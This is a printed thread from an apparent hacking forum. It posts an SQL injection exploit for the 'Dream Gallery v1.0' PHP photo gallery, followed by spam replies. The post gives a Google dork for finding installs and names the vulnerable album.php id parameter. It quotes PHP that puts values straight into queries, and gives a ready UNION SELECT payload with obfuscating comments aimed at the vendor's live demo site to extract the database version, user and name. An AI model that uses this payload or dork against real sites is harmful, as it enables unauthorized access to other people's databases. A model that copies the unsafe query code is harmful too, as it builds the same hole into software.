SQL Injection Forum | Hacking & Exploit Tutorial - SQLiWiki
Dream Gallery Sql Injection :) - Printable Version

+- SQL Injection Forum | Hacking & Exploit Tutorial - SQLiWiki (http://forum.sqliwiki.com)
+-- Forum: Other Programming Hacking And Tutorial (http://forum.sqliwiki.com/forumdisplay.php?fid=15)
+--- Forum: Exploits And Tutorial (http://forum.sqliwiki.com/forumdisplay.php?fid=18)
+--- Thread: Dream Gallery Sql Injection :) (/showthread.php?tid=4033)



Dream Gallery Sql Injection :) - Mir Fahim Ahmed - 01-14-2016

[+] Sql Injection on Dream Gallery v1.0

[+] Date: 10/01/2016

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: ******

[+] Vendor Homepage: http://clareslab.com.br/

[+] Software Demo : http://clareslab.com.br/dream/

[+] Contact: [email protected]

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: intitle:"Dream Gallery - Admin" // use your brain Wink

[+] Admin Page: http://host/admin/

[+] Exploit :

       http://host/patch//album.php?id= [SQL Injection]

[+] Vulnerable File :

<?php

$db->query( "select * from albuns order by album_name asc" )->fetchAll();
if ( $db->rows >= 1 )
{
$albuns = $db->data;
foreach ( $albuns as $album )
{
$a = ( object ) $album;
$db->query( "select * from fotos where foto_album = $a->album_id order by foto_pos asc" )->fetchAll();
if ( $db->rows >= 1 )
{
$f = ( object ) $db->data[0];
?>
<div class="box-detail box-alb" id="<?= $a->album_id ?>">
<div class="box-inner-alb">
<a href="album.php?id=<?= $a->album_id ?>" caption="<?= utf8_decode( $a->album_name ) ?>">
<img src="thumb.php?img=fotos/<?= $f->foto_url ?>" />
<div class="box-inner-fx">
<h2><?= utf8_decode( $a->album_name ) ?></h2>
</div>
</a>
</div>
<div class="box-bottom">
<div class="box-bottom-right-photo"><?= $db->rows ?> foto(s)</div>
</div>
</div>
<?php
}
}
}
?>

[+] PoC :

http://clareslab.com.br/dream/album.php
?id=658+and+1*2*3=6+and+0+/*!12345union*/+/*!12345select*/+1,group_concat(0x53716c20496e6a656374696f6e20447265616d2047616c6c657279202d2046656c69706520416e647269616e20506569786f746f,0x3c62723e,version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10--+


[+] EOF


RE: Dream Gallery Sql Injection :) - ShirleyFWilliams - 12-15-2016

Well written Post about Dream Gallery Sql Injection Smile*** I enjoyed reading every words in it. Your blog has got many interesting posts which very nice to read. Thank you for the good and interesting post. Keep on writing.


RE: Dream Gallery Sql Injection :) - vasnaruvic - 08-01-2017

a very nice post.***. thanks


RE: Dream Gallery Sql Injection :) - daisyfaith18 - 02-08-2018

Wow! This post is really amazing and I appreciate the work  custom essay help